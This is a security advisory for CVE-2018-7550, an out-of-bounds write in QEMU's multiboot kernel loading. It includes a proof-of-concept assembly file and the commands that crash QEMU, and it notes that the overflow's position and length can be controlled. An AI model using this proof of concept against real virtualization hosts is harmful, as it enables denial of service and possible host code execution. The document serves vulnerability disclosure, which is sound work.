Skip to content

QEMU - Out of bound memory access on multiboot kernel load (CVE-2018-7550)

High
orange-cert-cc published GHSA-f49v-45qp-cv53 Jan 12, 2024

Package

No package listed

Affected versions

"Master" branch including CVE-2017-14167 patch

Patched versions

None

Description

Overview

An attacker could use this issue to cause QEMU to crash, resulting in a denial of service, or possibly execute arbitrary code on the host. In the default installation, when QEMU is used with libvirt, attackers would be isolated by the libvirt AppArmor profile.

Details

On multiboot-v1 kernel images, multiboot header parameters allows to set addresses to load the kernel image. These addresses are used to compute mb_kernel_size and mb_load_size. An allocation of mb_kernel_size bytes will be then done before an fread() of mb_load_size bytes.
There was a previous patch for CVE-2017-14167 that only fix integer overflows but a simpler case without integer overflow is still possible.
The issue can occur by simply setting mh_load_end_addr > mh_bss_end_addr it results in having mb_load_size greater than mb_kernel_size and so writing more than the previously allocated buffer size.

Proof of Concept

$ cat << EOF > /tmp/boot.s
.set ALIGN,    1<<0             # align loaded modules on page boundaries
.set MEMINFO,  1<<1             # provide memory map
.set FLAGS,    0x10000 | ALIGN | MEMINFO  # this is the Multiboot 'flag' field
.set MAGIC,    0x1BADB002       # 'magic number' lets bootloader find the header
.set CHECKSUM, -(MAGIC + FLAGS) # checksum of above, to prove we are multiboot

.section .multiboot
.align 4
.long MAGIC
.long FLAGS
.long CHECKSUM
.long 0x00000020         # MH_HEADER_ADDR
.long 0x00000010         # MH_LOAD_ADDR
.long 0x00000040         # MH_LOAD_END_ADDR
.long 0x00000011         # MH_BSS_END_ADDR
.long _start

# For ESP
.section .bss
.align 16
stack_bottom:
.skip 16384 # 16 KiB
stack_top:

.section .text
.global _start
.type _start, @function
_start:
            mov \$stack_top, %esp
#INFINITY LOOP
            cli
            hlt
.Loop:
            jmp .Loop

.size _start, . - _start

EOF
$ as -32 /tmp/boot.s -o /tmp/boot
$ qemu-system-x86_64 --kernel /tmp/boot
Segmentation Fault

Even if at the moment our PoC only result in crashing Qemu at the next call (memset() crash due to the overflow of mb_kernel_size - mb_load_size ), we can control the position and the length of the overflow.

Solution

Security patch

Refer to upstream

References

https://nvd.nist.gov/vuln/detail/CVE-2018-7550
https://bugzilla.redhat.com/show_bug.cgi?id=1549798

Credits

Cyrille CHATRAS for Orange Innovation
Orange CERT-CC at Orange group

Timeline

Date reported: February 28, 2018
Date fixed: May 10, 2018

Severity

High
7.8
/ 10

CVSS base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
High
CVSS:3.0/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

CVE ID

CVE-2018-7550